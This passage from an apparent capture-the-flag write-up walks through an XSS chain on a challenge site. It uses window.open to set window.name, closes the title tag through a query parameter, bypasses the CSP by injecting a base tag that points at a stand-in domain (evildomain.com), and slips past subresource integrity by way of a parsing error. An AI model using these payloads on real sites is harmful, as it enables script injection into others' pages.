    &lt;span class="nx"&gt;analyticsFrame&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;class&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;invisible&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;appendChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;analyticsFrame&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The script checks the &lt;code&gt;window.name&lt;/code&gt; to see if it's called &lt;code&gt;iframe&lt;/code&gt; and if it is - it continues execution, if the name does not match the iframe does not get created. This is interesting, since the &lt;code&gt;window.name&lt;/code&gt; can be set when opening a window from an arbitrary domain using &lt;code&gt;window.open("https://evilwebsite.com", "nameforwindow")&lt;/code&gt; , with this we should be able to open the &lt;code&gt;frame.html&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;html&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="err"&gt;!--&lt;/span&gt; &lt;span class="na"&gt;put&lt;/span&gt; &lt;span class="na"&gt;this&lt;/span&gt; &lt;span class="na"&gt;in&lt;/span&gt; &lt;span class="na"&gt;a&lt;/span&gt; &lt;span class="na"&gt;server&lt;/span&gt; &lt;span class="na"&gt;you&lt;/span&gt; &lt;span class="na"&gt;control&lt;/span&gt; &lt;span class="err"&gt;--&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;body&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="err"&gt;!--&lt;/span&gt; &lt;span class="na"&gt;this&lt;/span&gt; &lt;span class="na"&gt;will&lt;/span&gt; &lt;span class="na"&gt;open&lt;/span&gt; &lt;span class="na"&gt;the&lt;/span&gt; &lt;span class="na"&gt;site&lt;/span&gt; &lt;span class="na"&gt;given&lt;/span&gt; &lt;span class="na"&gt;it&lt;/span&gt; &lt;span class="na"&gt;the&lt;/span&gt; &lt;span class="na"&gt;window&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;'iframe'&lt;/span&gt; &lt;span class="na"&gt;that&lt;/span&gt; &lt;span class="na"&gt;we&lt;/span&gt; &lt;span class="na"&gt;need&lt;/span&gt; &lt;span class="err"&gt;--&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;window.open("https://wacky.buggywebsite.com/frame.html?param=hello", "iframe")&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;body&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;html&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fy0ciwiksokdypd4gicrr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fy0ciwiksokdypd4gicrr.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now that we have access to this file we can pass it what we want using the query string &lt;code&gt;param=somethig&lt;/code&gt;. This is good for us since our input is going directly into the page, if you check where the input is being reflected you'll notice you can close the &lt;code&gt;&amp;lt;title&amp;gt;&lt;/code&gt; tag using: &lt;code&gt;/frame.html?param=&amp;lt;/title&amp;gt;&lt;/code&gt; now everything after that will be valid html and we can continue to try to get our alert. &lt;/p&gt;

&lt;h3&gt;
  
  
  CSP
&lt;/h3&gt;

&lt;p&gt;Even though html is injectable, all interesting elements get blocked because of the &lt;code&gt;CSP&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;I use &lt;a href="https://csp-evaluator.withgoogle.com/" rel="noopener noreferrer"&gt;https://csp-evaluator.withgoogle.com&lt;/a&gt; to see if there is anything interesting anytime I see a CSP policy (it helped that the challenge mentioned a CSP bypass)&lt;/p&gt;

&lt;p&gt;&lt;code&gt;content-security-policy: script-src 'nonce-hafjcerljbyi' 'strict-dynamic'; frame-src 'self'; object-src 'none';&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F74rz41lslt5zzi00uigd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F74rz41lslt5zzi00uigd.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The one that stuck out was &lt;code&gt;base-uri [missing]&lt;/code&gt; when looking at &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/base-uri" rel="noopener noreferrer"&gt;MDN&lt;/a&gt; we can see the following: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;base-uri directive restricts the URLs which can be used in a document's  element. If this value is absent, then any URI is allowed. If this directive is absent, the user agent will use the value in the  element&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now let's look at the &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/base" rel="noopener noreferrer"&gt;MDN&lt;/a&gt; page for the  element:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Links pointing to a fragment in the document — e.g. &lt;code&gt;&amp;lt;a href="#some-id"&amp;gt;&lt;/code&gt; — are resolved with the &lt;code&gt;&amp;lt;base&amp;gt;&lt;/code&gt;, triggering an HTTP request to the base URL with the fragment attached. For example:&lt;/li&gt;
&lt;li&gt;Given &lt;code&gt;&amp;lt;base href="https://example.com"&amp;gt;&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;...and this link: &lt;code&gt;&amp;lt;a href="#anchor"&amp;gt;Anker&amp;lt;/a&amp;gt;&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;...the link points to &lt;code&gt;https://example.com/#anchor&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let's go back to the &lt;code&gt;/frame.html?parameter=&amp;lt;/title&amp;gt;&lt;/code&gt; and look for something interesting in the rendered html&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fpby1a1oufvvhj1net50n.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fpby1a1oufvvhj1net50n.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This iframe caught my eye because it gets built dynamically by:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;script&lt;/span&gt; &lt;span class="nx"&gt;nonce&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;jllvokubhfmz&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;

        &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;fileIntegrity&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;fileIntegrity&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;rfc&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt; https://w3c.github.io/webappsec-subresource-integrity/&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;algorithm&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;sha256&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;value&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;unzMI6SuiNZmTzoOnV4Y9yqAjtSOgiIgyrKvumYRI6E=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;creationtime&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1602687229&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="c1"&gt;// verify we are in an iframe&lt;/span&gt;
        &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;iframe&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

            &lt;span class="c1"&gt;// securely load the frame analytics code&lt;/span&gt;
            &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fileIntegrity&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

                &lt;span class="c1"&gt;// create a sandboxed iframe&lt;/span&gt;
                &lt;span class="nx"&gt;analyticsFrame&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;iframe&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
                &lt;span class="nx"&gt;analyticsFrame&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;sandbox&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;allow-scripts allow-same-origin&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
                &lt;span class="nx"&gt;analyticsFrame&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;class&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;invisible&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
                &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;appendChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;analyticsFrame&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

                &lt;span class="c1"&gt;// securely add the analytics code into iframe&lt;/span&gt;
                &lt;span class="nx"&gt;script&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;script&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
                &lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;src&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;files/analytics/js/frame-analytics.js&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
                &lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;integrity&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;sha256-&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;fileIntegrity&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
                &lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;crossorigin&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;anonymous&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
                &lt;span class="nx"&gt;analyticsFrame&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;contentDocument&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;appendChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

            &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`
            &amp;lt;h1&amp;gt;Error&amp;lt;/h1&amp;gt;
            &amp;lt;h2&amp;gt;This page can only be viewed from an iframe.&amp;lt;/h2&amp;gt;
            &amp;lt;video width="400" controls&amp;gt;
                &amp;lt;source src="movie.mp4" type="video/mp4"&amp;gt;
            &amp;lt;/video&amp;gt;`&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/script&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The code above shows how the iframe and script are built, the one that's interesting is &lt;code&gt;script.setAttribute('src', 'files/analytics/js/frame-analytics.js');&lt;/code&gt; which sets the &lt;code&gt;src&lt;/code&gt; attribute, this path is relative, and how do relative paths determine where to resolve? &lt;code&gt;base-uri&lt;/code&gt; which can be set by adding a &lt;code&gt;&amp;lt;base href='https://evildomain.com&amp;gt;&lt;/code&gt; element:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;payload: &lt;code&gt;https://wacky.buggywebsite.com/frame.html?param=&amp;lt;/title&amp;gt;&amp;lt;base href="https://evildomain.com"&amp;gt;&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This will allow us to include a file from an arbitrary domain we control - since after we inject our &lt;code&gt;&amp;lt;base&amp;gt;&lt;/code&gt; element the file will actually be fetched from &lt;code&gt;https://evildomain.com/files/analytics/js/frame-analytics.js&lt;/code&gt; giving us a way to inject arbitrary javascript. &lt;/p&gt;

&lt;h3&gt;
  
  
  Integrity - nah
&lt;/h3&gt;

&lt;p&gt;Now that we know we can trick the application to load a file from a source we control, we can load our file and be done right? Unfortunately if we try to do this - the request will fail, this is because of the &lt;code&gt;integrity&lt;/code&gt; attribute that's added in this line  &lt;code&gt;script.setAttribute('integrity', 'sha256-'+fileIntegrity.value);&lt;/code&gt; &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fq8ksdztx1svdkyckd2us.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fq8ksdztx1svdkyckd2us.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Before we go into how to get around that, let's see what this &lt;code&gt;integrity&lt;/code&gt; thing is, from the &lt;a href="https://w3c.github.io/webappsec-subresource-integrity" rel="noopener noreferrer"&gt;RFC&lt;/a&gt; provided by the source script&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;An author wants to include JavaScript provided by a third-party analytics service. To ensure that only the code that has been carefully reviewed is executed, the author generates integrity metadata for the script, and adds it to the script element&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is what's happening here - the script that is being loaded doesn't pass the &lt;code&gt;integrity&lt;/code&gt; check and fails to load, so this is where I was stuck for a while. &lt;/p&gt;

&lt;p&gt;The bypass here is to get the hash value to give us a parsing error, which is done by sending anything that isn't valid base64 as the &lt;code&gt;integrity&lt;/code&gt; value, we also have to make sure we return the &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin" rel="noopener noreferrer"&gt;ACAO&lt;/a&gt; header with &lt;code&gt;*&lt;/code&gt; to fulfill the requirements from the RFC&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F1dp33j6gyzvf8m436vwq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F1dp33j6gyzvf8m436vwq.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fjwunhi6ya3dt9ts8on0w.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fjwunhi6ya3dt9ts8on0w.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This allows us to get our script to load and execute.&lt;/p&gt;

&lt;h3&gt;
  
  
  Heard you like backwards compatibility?
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;This section explains the SRI bypass I found which allows me to use any script without having to provide a valid hash by producing a parser error. &lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I was a bit confused here for a bit, even after solving the challenge. Why is the script still loaded? Why was I still getting a console error? I wanted answers. So I did some digging.&lt;/p&gt;

&lt;p&gt;The error we get after clobbering the &lt;code&gt;fileIntegrity&lt;/code&gt;(more on this later) object is a bit different, if you don't clobber the &lt;code&gt;fileIntegrity&lt;/code&gt; object you get this error when trying to load the resource from your server:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;"Failed to find a valid digest in the 'integrity' attribute for resource '" + resourceUrl + "' with computed SHA-256 integrity '" + digest + "'. The resource has been blocked."&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Which blocks our source from being loaded.&lt;/p&gt;

&lt;p&gt;But &lt;em&gt;after&lt;/em&gt; you clobber the &lt;code&gt;fileIntegrity&lt;/code&gt; object, the error simply says:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Error parsing 'integrity' attribute ('" + attribute + "'). The digest must be a valid, base64-encoded value."&lt;/code&gt; &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;And&lt;/strong&gt; our script &lt;em&gt;still&lt;/em&gt; loads:&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fhe9w992wfzfmp4tv0pe7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fhe9w992wfzfmp4tv0pe7.png" alt="Screen Shot 2020-11-11 at 8.15.36 AM"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;That distinction[the difference in error message] makes all the difference, looking at how the parser error is generated from the source: &lt;a href="https://chromium.googlesource.com/chromium/blink/+/master/Source/core/frame/SubresourceIntegrity.cpp#303" rel="noopener noreferrer"&gt;SubresourceIntegrity.cpp&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fq1vv9igm5eo0h2fokc8q.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fq1vv9igm5eo0h2fokc8q.png" alt="Screen Shot 2020-11-07 at 3.54.43 PM"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The browser couldn't parse the hash value because it's not valid base64, by looking at which &lt;code&gt;if&lt;/code&gt; statement causes the error we can see that in our case we do get the error message but our script is allowed in and execution continues, and by looking at the comments it's clear that the&lt;br&gt;
reason why this happens is for &lt;em&gt;backwards compatibility&lt;/em&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fbabxjd9mjkdf9cjaetki.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fbabxjd9mjkdf9cjaetki.png" alt="code from chromium source, it explains how the if statement that gives us the parsing error works."&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here is a resource being blocked due to an integrity check:&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F0zv7a2vec14flh1caaq4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F0zv7a2vec14flh1caaq4.png" alt="Screen Shot 2020-11-11 at 8.20.20 AM"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now how do we generate this parsing error?&lt;/p&gt;

&lt;p&gt;Thanks &lt;a href="https://twitter.com/acut3hack" rel="noopener noreferrer"&gt;https://twitter.com/acut3hack&lt;/a&gt; for the nudge for this next part. &lt;/p&gt;
&lt;h3&gt;
  
  
  DOM Clobbering
&lt;/h3&gt;

&lt;p&gt;Let's do a recap of what has brought us here. &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;We can load an iframe that takes in user input un-sanitized &lt;code&gt;/frame.html?param=dirtydata&lt;/code&gt;

&lt;ul&gt;
&lt;li&gt;achieved by using &lt;code&gt;window.open("domain", "windowname")&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;There is a &lt;code&gt;csp&lt;/code&gt; in place

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;csp&lt;/code&gt; can be bypassed by injecting &lt;code&gt;&amp;lt;base href=https://evildomain.com&amp;gt;&lt;/code&gt; with our current injection&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;&amp;lt;base&amp;gt;&lt;/code&gt; element sets the domain for assets that come from relative paths()&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;script&lt;/code&gt; that is being dynamically built is now being loaded from &lt;code&gt;https://evildomain.com/files/analytics/js/frame-analytics.js&lt;/code&gt;

&lt;ul&gt;
&lt;li&gt;This means we can control what's inside &lt;code&gt;frame-analytics.js&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;The file is being prevented from executing because of the integrity check 😢

